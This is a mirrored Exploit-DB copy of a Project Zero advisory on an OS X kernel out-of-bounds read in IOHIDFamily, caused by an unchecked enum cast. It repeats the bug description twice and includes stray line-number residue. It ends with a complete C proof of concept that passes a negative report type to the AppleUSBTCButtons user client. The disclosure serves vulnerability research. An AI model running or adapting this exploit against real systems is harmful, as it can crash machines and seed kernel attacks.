Apple Mac OSX Kernel – Out-of-Bounds Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type

Exploit Database
120 阅读

作者： Google Security Research

日期： 2016-06-10
类别：
- dos
平台：
- osx
来源：https://www.exploit-db.com/exploits/39927/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,

which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds

check here too:

if ( reportType >= kIOHIDReportTypeCount )

return kIOReturnBadArgument;

reportType is then used here:

element = GetHeadElement( GetReportHandlerSlot(reportID),

reportType);

while ( element ) {

shouldTickle |= element->shouldTickleActivity();

changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)_reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.

// ianbeer

// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation

OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,

which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds

check here too:

if ( reportType >= kIOHIDReportTypeCount )

return kIOReturnBadArgument;

reportType is then used here:

element = GetHeadElement( GetReportHandlerSlot(reportID),

reportType);

while ( element ) {

shouldTickle |= element->shouldTickleActivity();

changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)_reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.

#include <fcntl.h>

#include <pthread.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/time.h>

#include <unistd.h>

#include <libkern/OSAtomic.h>

#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>

#include <CoreFoundation/CoreFoundation.h>

io_connect_t get_user_client(const char* name, int type) {

kern_return_t err;

CFDictionaryRef matching;

io_service_t service;

// try IOServiceMatching

matching = IOServiceMatching(name);

service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching

if (service == MACH_PORT_NULL) {

// try IOServiceNameMatching

matching = IOServiceNameMatching(name);

service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);

}

if (service == MACH_PORT_NULL) {

// try everything and look for a partial name match

matching = IOServiceMatching("IOService");

io_iterator_t iterator;

IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);

int found_it = 0;

while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {

io_name_t object_name;

IOObjectGetClass(service, object_name);

if (strstr(object_name, name)) {

found_it = 1;

break;

}

IOObjectRelease(service);

}

IOObjectRelease(iterator);

if (!found_it) {

// couldn't find any matches for the name anywhere

return MACH_PORT_NULL;

}

io_connect_t conn = MACH_PORT_NULL;

err = IOServiceOpen(service, mach_task_self(), type, &conn);

if (err != KERN_SUCCESS){

printf("IOServiceOpen failed: %s\n", mach_error_string(err));

IOObjectRelease(service);

return MACH_PORT_NULL;

}

IOObjectRelease(service);

return conn;

}

kern_return_t poc(io_connect_t client){

unsigned int selector;

uint64_t inputScalar[16];

size_t inputScalarCnt = 0;

uint8_t inputStruct[4096];

size_t inputStructCnt = 0;

uint64_t outputScalar[16];

uint32_t outputScalarCnt = 0;

char outputStruct[4096];

size_t outputStructCnt = 0;

inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check

inputScalar[1] = 0x00a90000;

inputScalar[2] = 0;

inputScalarCnt = 3;

outputStructCnt = 0x1000;

selector = 12;

return IOConnectCallMethod(

client,

selector,

inputScalar,

inputScalarCnt,

inputStruct,

inputStructCnt,

outputScalar,

&outputScalarCnt,

outputStruct,

&outputStructCnt);

}

int main(int argc, char** argv){

io_connect_t client = get_user_client("AppleUSBTCButtons", 0);

if (client == MACH_PORT_NULL) {

printf("no client\n");

return 1;

}

poc(client);

return 0;

}